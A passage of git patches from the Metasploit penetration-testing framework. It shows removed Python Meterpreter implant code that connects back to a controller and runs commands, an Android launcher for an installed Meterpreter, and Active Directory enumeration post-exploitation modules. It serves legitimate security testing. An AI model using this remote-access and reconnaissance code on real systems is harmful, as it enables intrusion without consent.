request, response): - if self.session_expiry_time > 0: - response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time()) - response += tlv_pack(TLV_TYPE_TRANS_GROUP, self.transport.tlv_pack_transport_group()) - - transport = self.transport_next() - while transport != self.transport: - response += tlv_pack(TLV_TYPE_TRANS_GROUP, transport.tlv_pack_transport_group()) - transport = self.transport_next(transport) - return ERROR_SUCCESS, response - - def _core_transport_next(self, request, response): - new_transport = self.transport_next() - if new_transport == self.transport: - return ERROR_FAILURE, response - self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) - self.transport_change(new_transport) - return None - - def _core_transport_prev(self, request, response): - new_transport = self.transport_prev() - if new_transport == self.transport: - return ERROR_FAILURE, response - self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) - self.transport_change(new_transport) - return None - - def _core_transport_remove(self, request, response): - url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value'] - if self.transport.url == url: - return ERROR_FAILURE, response - transport_found = False - for transport in self.transports: - if transport.url == url: - transport_found = True - break - if transport_found: - self.transports.remove(transport) - return ERROR_SUCCESS, response - return ERROR_FAILURE, response - - def _core_transport_set_timeouts(self, request, response): - timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_SESSION_EXP).get('value') - if not timeout_value is None: - self.session_expiry_time = timeout_value - self.session_expiry_end = time.time() + self.session_expiry_time - timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value') - if timeout_value: - self.transport.communication_timeout = timeout_value - retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value') - if retry_value: - self.transport.retry_total = retry_value - retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value') - if retry_value: - self.transport.retry_wait = retry_value - - if self.session_expiry_time > 0: - response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time()) - response += self.transport.tlv_pack_timeouts() - return ERROR_SUCCESS, response - - def _core_transport_sleep(self, request, response): - seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value'] - self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) - if seconds: - self.transport.deactivate() - time.sleep(seconds) - if not self.transport.activate(): - self.transport_change() - return None - - def _core_channel_open(self, request, response): - channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) - handler = 'channel_open_' + channel_type['value'] - if handler not in self.extension_functions: - return error_result(NotImplementedError), response - handler = self.extension_functions[handler] - return handler(request, response) - - def _core_channel_close(self, request, response): - channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] - if channel_id not in self.channels: - return ERROR_FAILURE, response - channel = self.channels[channel_id] - if isinstance(channel, subprocess.Popen): - channel.kill() - elif isinstance(channel, MeterpreterFile): - channel.close() - elif isinstance(channel, MeterpreterSocket): - channel.close() - else: - return ERROR_FAILURE, response - del self.channels[channel_id] - if channel_id in self.interact_channels: - self.interact_channels.remove(channel_id) - return ERROR_SUCCESS, response - - def _core_channel_eof(self, request, response): - channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] - if channel_id not in self.channels: - return ERROR_FAILURE, response - channel = self.channels[channel_id] - result = False - if isinstance(channel, MeterpreterFile): - result = channel.tell() >= os.fstat(channel.fileno()).st_size - response += tlv_pack(TLV_TYPE_BOOL, result) - return ERROR_SUCCESS, response - - def _core_channel_interact(self, request, response): - channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] - if channel_id not in self.channels: - return ERROR_FAILURE, response - channel = self.channels[channel_id] - toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value'] - if toggle: - if channel_id in self.interact_channels: - self.interact_channels.remove(channel_id) - else: - self.interact_channels.append(channel_id) - elif channel_id in self.interact_channels: - self.interact_channels.remove(channel_id) - return ERROR_SUCCESS, response - - def _core_channel_read(self, request, response): - channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] - length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] - if channel_id not in self.channels: - return ERROR_FAILURE, response - channel = self.channels[channel_id] - data = '' - if isinstance(channel, STDProcess): - if channel.poll() != None: - self.handle_dead_resource_channel(channel_id) - if channel.stdout_reader.is_read_ready(): - data = channel.stdout_reader.read(length) - elif isinstance(channel, MeterpreterFile): - data = channel.read(length) - elif isinstance(channel, MeterpreterSocket): - data = channel.recv(length) - else: - return ERROR_FAILURE, response - response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) - return ERROR_SUCCESS, response - - def _core_channel_write(self, request, response): - channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] - channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value'] - length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] - if channel_id not in self.channels: - return ERROR_FAILURE, response - channel = self.channels[channel_id] - l = len(channel_data) - if isinstance(channel, subprocess.Popen): - if channel.poll() != None: - self.handle_dead_resource_channel(channel_id) - return ERROR_FAILURE, response - channel.write(channel_data) - elif isinstance(channel, MeterpreterFile): - channel.write(channel_data) - elif isinstance(channel, MeterpreterSocket): - try: - l = channel.send(channel_data) - except socket.error: - channel.close() - self.handle_dead_resource_channel(channel_id) - return ERROR_FAILURE, response - else: - return ERROR_FAILURE, response - response += tlv_pack(TLV_TYPE_LENGTH, l) - return ERROR_SUCCESS, response - - def create_response(self, request): - resp = struct.pack('>I', PACKET_TYPE_RESPONSE) - method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD) - resp += tlv_pack(method_tlv) - - reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) - resp += tlv_pack(reqid_tlv) - - handler_name = method_tlv['value'] - if handler_name in self.extension_functions: - handler = self.extension_functions[handler_name] - try: - self.debug_print('[*] running method ' + handler_name) - result = handler(request, resp) - if result is None: - return - result, resp = result - except Exception: - self.debug_print('[-] method ' + handler_name + ' resulted in an error') - if DEBUGGING: - traceback.print_exc(file=sys.stderr) - result = error_result() - else: - self.debug_print('[-] method ' + handler_name + ' was requested but does not exist') - result = error_result(NotImplementedError) - return tlv_pack_response(result, resp) - -if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): - if hasattr(os, 'setsid'): - try: - os.setsid() - except OSError: - pass - if HTTP_CONNECTION_URL and has_urllib: - transport = HttpTransport(HTTP_CONNECTION_URL, proxy=HTTP_PROXY, user_agent=HTTP_USER_AGENT) - else: - transport = TcpTransport.from_socket(s) - met = PythonMeterpreter(transport) - met.run() diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 9d25c58418..c96d7fe78c 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -61,7 +61,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.9' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.10' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 1a1c56d38b..f8680550e5 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -31,10 +31,7 @@ module Metasploit4 end def generate - file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.php") - met = File.open(file, "rb") {|f| - f.read(f.stat.size) - } + met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') met.gsub!("127.0.0.1", datastore['LHOST']) if datastore['LHOST'] met.gsub!("4444", datastore['LPORT'].to_s) if datastore['LPORT'] diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb index 860625da8a..90629b2715 100644 --- a/modules/payloads/stages/php/meterpreter.rb +++ b/modules/payloads/stages/php/meterpreter.rb @@ -25,11 +25,7 @@ module Metasploit4 end def generate_stage(opts={}) - file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.php") - - met = File.open(file, "rb") { |f| - f.read(f.stat.size) - } + met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') uuid = opts[:uuid] || generate_payload_uuid bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index a908ff6276..b201d09420 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -27,11 +27,7 @@ module Metasploit3 end def generate_stage(opts={}) - file = ::File.join(Msf::Config.data_directory, 'meterpreter', 'meterpreter.py') - - met = ::File.open(file, 'rb') {|f| - f.read(f.stat.size) - } + met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') if datastore['PythonMeterpreterDebug'] met = met.sub("DEBUGGING = False", "DEBUGGING = True") From a8dd89cc0d9f40676165ac93afaf95136b355d66 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Thu, 27 Aug 2015 11:43:38 -0500 Subject: [PATCH 0384/2172] update cached payload sizes --- modules/payloads/singles/java/shell_reverse_tcp.rb | 2 +- modules/payloads/stagers/java/bind_tcp.rb | 2 +- modules/payloads/stagers/java/reverse_http.rb | 2 +- modules/payloads/stagers/java/reverse_https.rb | 2 +- modules/payloads/stagers/java/reverse_tcp.rb | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb index 77c987748d..5f760639e2 100644 --- a/modules/payloads/singles/java/shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/shell_reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 7351 + CachedSize = 7359 include Msf::Payload::Single include Msf::Payload::Java diff --git a/modules/payloads/stagers/java/bind_tcp.rb b/modules/payloads/stagers/java/bind_tcp.rb index a30c0e3f43..e68c528b82 100644 --- a/modules/payloads/stagers/java/bind_tcp.rb +++ b/modules/payloads/stagers/java/bind_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 5097 + CachedSize = 5105 include Msf::Payload::Stager include Msf::Payload::Java diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb index c8426c3bc4..f9087ea550 100644 --- a/modules/payloads/stagers/java/reverse_http.rb +++ b/modules/payloads/stagers/java/reverse_http.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http' module Metasploit3 - CachedSize = 5115 + CachedSize = 5123 include Msf::Payload::Stager include Msf::Payload::Java diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb index 8692b6f074..9072228fbd 100644 --- a/modules/payloads/stagers/java/reverse_https.rb +++ b/modules/payloads/stagers/java/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/uuid/options' module Metasploit3 - CachedSize = 5924 + CachedSize = 5932 include Msf::Payload::Stager include Msf::Payload::Java diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb index f847556523..ca9106a641 100644 --- a/modules/payloads/stagers/java/reverse_tcp.rb +++ b/modules/payloads/stagers/java/reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 5110 + CachedSize = 5118 include Msf::Payload::Stager include Msf::Payload::Java From e82bd108173a92a62bfa1162432815d075c6c72a Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 27 Aug 2015 14:36:55 -0500 Subject: [PATCH 0385/2172] Add aux module to be able to open android meterpreter from a browser --- .../server/android_browsable_msf_launch.rb | 53 +++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 modules/auxiliary/server/android_browsable_msf_launch.rb diff --git a/modules/auxiliary/server/android_browsable_msf_launch.rb b/modules/auxiliary/server/android_browsable_msf_launch.rb new file mode 100644 index 0000000000..7d603eb953 --- /dev/null +++ b/modules/auxiliary/server/android_browsable_msf_launch.rb @@ -0,0 +1,53 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Android Meterpreter Browsable Launcher", + 'Description' => %q{ + This module allows you to open an android meterpreter via a browser. An Android + meterpreter must be installed as an application beforehand on the target device + in order to use this. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'References' => + [ + [ 'URL', 'http://developer.android.com/reference/android/content/Intent.html#CATEGORY_BROWSABLE' ] + ] + )) + end + + def run + exploit + end + + def html +%Q| +<html> +<body> +<script> +location.href = "intent://my_host#Intent;scheme=metasploit;action=android.intent.action.VIEW;end"; +</script> +<noscript> +<meta http-equiv="refresh" content="1; url=intent://my_host#Intent;scheme=metasploit;action=android.intent.action.VIEW;end"> +</noscript> +</body> +</html> +| + end + + def on_request_uri(cli, request) + print_status("Sending HTML...") + send_response(cli, html) + end + +end From 266a6e7dc49baf73e8b33df6a2fce9ec6b834c28 Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Fri, 28 Aug 2015 11:35:51 +0100 Subject: [PATCH 0386/2172] Changed to print_line() at the request of hdm --- .../console/command_dispatcher/extapi/adsi.rb | 38 +++++++++++-------- 1 file changed, 23 insertions(+), 15 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb index 43d3a11b2f..b4f71c7607 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb @@ -52,14 +52,18 @@ class Console::CommandDispatcher::Extapi::Adsi ) def adsi_nested_group_user_enum_usage - print( - "\nUsage: adsi_nested_group_user_enum <domain> <Group DN> [-h] [-m maxresults] [-p pagesize]\n\n" + - "Enumerate the users who are members of the named group, taking nested groups into account." + - "For example, specifying the 'Domain Admins' group DN will list all users who are effectively\n" + - "members of the Domain Admins group, even if they are members of intermediary groups.\n\n" + - "Example:\n" + - " adsi_nested_group_user_enum STUFUS \"CN=Domain Admins,CN=Users,DC=mwrinfosecurity,DC=com\"\n\n" + - @@adsi_nested_group_user_enum_opts.usage) + print_line("USAGE:") + print_line(" adsi_nested_group_user_enum <domain> <Group DN> [-h] [-m maxresults] [-p pagesize]") + print_line("") + print_line("DESCRIPTION:") + print_line(" Enumerate the users who are members of the named group, taking nested groups into account.") + print_line(" For example, specifying the 'Domain Admins' group DN will list all users who are effectively") + print_line(" members of the Domain Admins group, even if they are in practice members of intermediary groups.") + print_line("") + print_line("EXAMPLE:") + print_line(" The example below will list all members of the 'Domain Admins' group on the STUFUS domain:") + print_line(" adsi_nested_group_user_enum STUFUS \"CN=Domain Admins,CN=Users,DC=mwrinfosecurity,DC=com\"") + print_line(@@adsi_nested_group_user_enum_opts.usage) end # @@ -139,14 +143,18 @@ class Console::CommandDispatcher::Extapi::Adsi ) def adsi_group_enum_usage - print( - "\nUsage: adsi_group_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" + - "Enumerate the groups on the target domain.\n\n" + - "Enumeration returns the group name and description\n" + - "Example:\n" + - " adsi_group_enum STUFUS\n\n" + - @@adsi_group_enum_opts.usage) + print_line("USAGE:") + print_line(" adsi_nested_group_user_enum <domain> [-h] [-m maxresults] [-p pagesize]") + print_line("") + print_line("DESCRIPTION:") + print_line(" Enumerate all groups on the target domain.") + print_line("") + print_line("EXAMPLE:") + print_line(" The example below will list all groups on the STUFUS domain.") + print_line(" adsi_group_enum STUFUS") + print_line(@@adsi_group_enum_opts.usage) end + # # Enumerate domain groups. # From 3a5ce02e8ec996f1ff50a7a2494dc36dfbb562ac Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Fri, 28 Aug 2015 14:05:44 +0100 Subject: [PATCH 0387/2172] Changed the other print\n lines to print_line() for consistency --- .../console/command_dispatcher/extapi/adsi.rb | 56 ++++++++++--------- 1 file changed, 29 insertions(+), 27 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb index b4f71c7607..f3a5326735 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb @@ -54,12 +54,12 @@ class Console::CommandDispatcher::Extapi::Adsi def adsi_nested_group_user_enum_usage print_line("USAGE:") print_line(" adsi_nested_group_user_enum <domain> <Group DN> [-h] [-m maxresults] [-p pagesize]") - print_line("") + print_line print_line("DESCRIPTION:") print_line(" Enumerate the users who are members of the named group, taking nested groups into account.") print_line(" For example, specifying the 'Domain Admins' group DN will list all users who are effectively") print_line(" members of the Domain Admins group, even if they are in practice members of intermediary groups.") - print_line("") + print_line print_line("EXAMPLE:") print_line(" The example below will list all members of the 'Domain Admins' group on the STUFUS domain:") print_line(" adsi_nested_group_user_enum STUFUS \"CN=Domain Admins,CN=Users,DC=mwrinfosecurity,DC=com\"") @@ -102,12 +102,13 @@ class Console::CommandDispatcher::Extapi::Adsi ) def adsi_user_enum_usage - print( - "\nUsage: adsi_user_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" + - "Enumerate the users on the target domain.\n\n" + - "Enumeration returns information such as the user name, SAM account name, locked\n" + - "status, desc, and comment.\n" + - @@adsi_user_enum_opts.usage) + print_line("USAGE:") + print_line(" adsi_user_enum <domain> [-h] [-m maxresults] [-p pagesize]") + print_line + print_line("DESCRIPTION:") + print_line(" Enumerate all users on the target domain.") + print_line(" Enumeration returns information such as the user name, SAM account name, status, comments etc") + print_line(@@adsi_user_enum_opts.usage) end # @@ -145,10 +146,10 @@ class Console::CommandDispatcher::Extapi::Adsi def adsi_group_enum_usage print_line("USAGE:") print_line(" adsi_nested_group_user_enum <domain> [-h] [-m maxresults] [-p pagesize]") - print_line("") + print_line print_line("DESCRIPTION:") print_line(" Enumerate all groups on the target domain.") - print_line("") + print_line print_line("EXAMPLE:") print_line(" The example below will list all groups on the STUFUS domain.") print_line(" adsi_group_enum STUFUS") @@ -186,11 +187,12 @@ class Console::CommandDispatcher::Extapi::Adsi ) def adsi_computer_enum_usage - print( - "\nUsage: adsi_computer_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" + - "Enumerate the computers on the target domain.\n\n" + - "Enumeration returns information such as the computer name, desc, and comment.\n" + - @@adsi_computer_enum_opts.usage) + print_line("USAGE:") + print_line(" adsi_computer_enum <domain> [-h] [-m maxresults] [-p pagesize]") + print_line + print_line("DESCRIPTION:") + print_line(" Enumerate all computers on the target domain.") + print_line(@@adsi_computer_enum_opts.usage) end # @@ -229,13 +231,12 @@ class Console::CommandDispatcher::Extapi::Adsi ) def adsi_dc_enum_usage - print( - "\nUsage: adsi_dc_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" + - "Enumerate the dcs on the target domain.\n\n" + - "Enumeration returns information such as the dc name, desc, and comment.\n" + - "Example:\n" + - " adsi_dc_enum STUFUS\n\n" + - @@adsi_dc_enum_opts.usage) + print_line("USAGE:") + print_line(" adsi_dc_enum <domain> [-h] [-m maxresults] [-p pagesize]") + print_line + print_line("DESCRIPTION:") + print_line(" Enumerate the domain controllers on the target domain.") + print_line(@@adsi_dc_enum_opts.usage) end # @@ -275,11 +276,12 @@ class Console::CommandDispatcher::Extapi::Adsi ) def adsi_domain_query_usage - print( - "\nUsage: adsi_domain_query <domain> <filter> <field 1> [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize]\n\n" + - "Enumerate the objects on the target domain.\n\n" + - "Enumeration returns the set of fields that are specified.\n" + - @@adsi_domain_query_opts.usage) + print_line("USAGE:") + print_line(" adsi_domain_query <domain> <filter> <field 1> [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize]") + print_line + print_line("DESCRIPTION:") + print_line(" Enumerates the objects on the target domain, returning the set of fields that are specified.") + print_line(@@adsi_domain_query_opts.usage) end # From 8682ec77c5df87a907ccb600f79be711d522739b Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Fri, 28 Aug 2015 15:10:27 +0100 Subject: [PATCH 0388/2172] Added group filtering to the enum_ad_users module --- modules/post/windows/gather/enum_ad_users.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_users.rb b/modules/post/windows/gather/enum_ad_users.rb index e0cba065b2..6ec810c66a 100644 --- a/modules/post/windows/gather/enum_ad_users.rb +++ b/modules/post/windows/gather/enum_ad_users.rb @@ -13,6 +13,7 @@ class Metasploit3 < Msf::Post UAC_DISABLED = 0x02 USER_FIELDS = ['sAMAccountName', + 'name', 'userPrincipalName', 'userAccountControl', 'lockoutTime', @@ -26,12 +27,16 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Gather Active Directory Users', 'Description' => %{ This module will enumerate user accounts in the default Active Domain (AD) directory and stores - them in the database. + them in the database. If GROUP_MEMBER is set to the DN of a group, this will list the members of + that group by performing a recursive/nested search (i.e. it will list users who are members of + groups that are members of groups that are members of groups (etc) which eventually include the + target group DN. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell', - 'Carlos Perez <carlos_perez[at]darkoperator.com>' + 'Carlos Perez <carlos_perez[at]darkoperator.com>', + 'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] @@ -42,6 +47,7 @@ class Metasploit3 < Msf::Post OptBool.new('EXCLUDE_LOCKED', [true, 'Exclude in search locked accounts..', false]), OptBool.new('EXCLUDE_DISABLED', [true, 'Exclude from search disabled accounts.', false]), OptString.new('ADDITIONAL_FIELDS', [false, 'Additional fields to retrieve, comma separated', nil]), + OptString.new('GROUP_MEMBER', [false, 'Recursively list users that are effectve members of the group DN specified.', nil]), OptEnum.new('UAC', [true, 'Filter on User Account Control Setting.', 'ANY', [ 'ANY', @@ -140,6 +146,7 @@ class Metasploit3 < Msf::Post inner_filter = '(objectCategory=person)(objectClass=user)' inner_filter << '(!(lockoutTime>=1))' if datastore['EXCLUDE_LOCKED'] inner_filter << '(!(userAccountControl:1.2.840.113556.1.4.803:=2))' if datastore['EXCLUDE_DISABLED'] + inner_filter << "(memberof:1.2.840.113556.1.4.1941:=#{datastore['GROUP_MEMBER']})" if datastore['GROUP_MEMBER'] case datastore['UAC'] when 'ANY' when 'NO_PASSWORD' From f371a1c4fc1ef91b321359b409fb98e1c7d0b187 Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Fri, 28 Aug 2015 15:10:48 +0100 Subject: [PATCH 0389/2172] Added the ability to list AD groups by POST module --- modules/post/windows/gather/enum_ad_groups.rb | 97 +++++++++++++++++++ 1 file changed, 97 insertions(+) create mode 100644 modules/post/windows/gather/enum_ad_groups.rb diff --git a/modules/post/windows/gather/enum_ad_groups.rb b/modules/post/windows/gather/enum_ad_groups.rb new file mode 100644 index 0000000000..1cc99414c4 --- /dev/null +++ b/modules/post/windows/gather/enum_ad_groups.rb @@ -0,0 +1,97 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex' +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Auxiliary::Report + include Msf::Post::Windows::LDAP + include Msf::Post::Windows::Accounts + + USER_FIELDS = ['name', + 'distinguishedname', + 'description'].freeze + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Windows Gather Active Directory Groups', + 'Description' => %{ + This module will enumerate AD groups on the specified domain. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options([ + OptString.new('ADDITIONAL_FIELDS', [false, 'Additional fields to retrieve, comma separated', nil]), + ], self.class) + end + + def run + @user_fields = USER_FIELDS.dup + + if datastore['ADDITIONAL_FIELDS'] + additional_fields = datastore['ADDITIONAL_FIELDS'].gsub(/\s+/,"").split(',') + @user_fields.push(*additional_fields) + end + + max_search = datastore['MAX_SEARCH'] + + begin + q = query('(objectClass=group)'), max_search, @user_fields) + rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e + # Can't bind or in a network w/ limited accounts + print_error(e.message) + return + end + + if q.nil? || q[:results].empty? + print_status('No results returned.') + else + results_table = parse_results(q[:results]) + print_line results_table.to_s + end + end + + # Takes the results of LDAP query, parses them into a table + # and records and usernames as {Metasploit::Credential::Core}s in + # the database. + # + # @param [Array<Array<Hash>>] the LDAP query results to parse + # @return [Rex::Ui::Text::Table] the table containing all the result data + def parse_results(results) + domain = datastore['DOMAIN'] || get_domain + domain_ip = client.net.resolve.resolve_host(domain)[:ip] + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "Domain Groups", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => @user_fields + ) + + results.each do |result| + row = [] + + result.each do |field| + if field.nil? + row << "" + else + row << field[:value] + end + end + + results_table << row + end + results_table + end + +end From 577656a78e5686336b291b649042cf3d5d608c30 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 09:17:23 -0500 Subject: [PATCH 0390/2172] Change modules location --- .../busybox_enum_connections.rb => busybox/enum_connections.rb} | 0 .../linux/{gather/busybox_enum_hosts.rb => busybox/enum_hosts.rb} | 0 .../linux/{manage/busybox_jailbreak.rb => busybox/jailbreak.rb} | 0 .../post/linux/{gather/busybox_pingnet.rb => busybox/ping_net.rb} | 0 .../post/linux/{manage/busybox_setdmz.rb => busybox/set_dmz.rb} | 0 .../post/linux/{manage/busybox_setdns.rb => busybox/set_dns.rb} | 0 .../busybox_smb_share_root.rb => busybox/smb_share_root.rb} | 0 .../linux/{manage/busybox_wgetandexec.rb => busybox/wget_exec.rb} | 0 8 files changed, 0 insertions(+), 0 deletions(-) rename modules/post/linux/{gather/busybox_enum_connections.rb => busybox/enum_connections.rb} (100%) rename modules/post/linux/{gather/busybox_enum_hosts.rb => busybox/enum_hosts.rb} (100%) rename modules/post/linux/{manage/busybox_jailbreak.rb => busybox/jailbreak.rb} (100%) rename modules/post/linux/{gather/busybox_pingnet.rb => busybox/ping_net.rb} (100%) rename modules/post/linux/{manage/busybox_setdmz.rb => busybox/set_dmz.rb} (100%) rename modules/post/linux/{manage/busybox_setdns.rb => busybox/set_dns.rb} (100%) rename modules/post/linux/{manage/busybox_smb_share_root.rb => busybox/smb_share_root.rb} (100%) rename modules/post/linux/{manage/busybox_wgetandexec.rb => busybox/wget_exec.rb} (100%) diff --git a/modules/post/linux/gather/busybox_enum_connections.rb b/modules/post/linux/busybox/enum_connections.rb similarity index 100% rename from modules/post/linux/gather/busybox_enum_connections.rb rename to modules/post/linux/busybox/enum_connections.rb diff --git a/modules/post/linux/gather/busybox_enum_hosts.rb b/modules/post/linux/busybox/enum_hosts.rb similarity index 100% rename from modules/post/linux/gather/busybox_enum_hosts.rb rename to modules/post/linux/busybox/enum_hosts.rb diff --git a/modules/post/linux/manage/busybox_jailbreak.rb b/modules/post/linux/busybox/jailbreak.rb similarity index 100% rename from modules/post/linux/manage/busybox_jailbreak.rb rename to modules/post/linux/busybox/jailbreak.rb diff --git a/modules/post/linux/gather/busybox_pingnet.rb b/modules/post/linux/busybox/ping_net.rb similarity index 100% rename from modules/post/linux/gather/busybox_pingnet.rb rename to modules/post/linux/busybox/ping_net.rb diff --git a/modules/post/linux/manage/busybox_setdmz.rb b/modules/post/linux/busybox/set_dmz.rb similarity index 100% rename from modules/post/linux/manage/busybox_setdmz.rb rename to modules/post/linux/busybox/set_dmz.rb diff --git a/modules/post/linux/manage/busybox_setdns.rb b/modules/post/linux/busybox/set_dns.rb similarity index 100% rename from modules/post/linux/manage/busybox_setdns.rb rename to modules/post/linux/busybox/set_dns.rb diff --git a/modules/post/linux/manage/busybox_smb_share_root.rb b/modules/post/linux/busybox/smb_share_root.rb similarity index 100% rename from modules/post/linux/manage/busybox_smb_share_root.rb rename to modules/post/linux/busybox/smb_share_root.rb diff --git a/modules/post/linux/manage/busybox_wgetandexec.rb b/modules/post/linux/busybox/wget_exec.rb similarity index 100% rename from modules/post/linux/manage/busybox_wgetandexec.rb rename to modules/post/linux/busybox/wget_exec.rb From dfdb4fe044b7ff686690ced8b9e8f45149e7e5dc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 09:28:12 -0500 Subject: [PATCH 0391/2172] Review enum_connections --- .../post/linux/busybox/enum_connections.rb | 63 ++++++++++--------- 1 file changed, 34 insertions(+), 29 deletions(-) diff --git a/modules/post/linux/busybox/enum_connections.rb b/modules/post/linux/busybox/enum_connections.rb index 4dd2a01a79..77f8a89523 100644 --- a/modules/post/linux/busybox/enum_connections.rb +++ b/modules/post/linux/busybox/enum_connections.rb @@ -10,48 +10,53 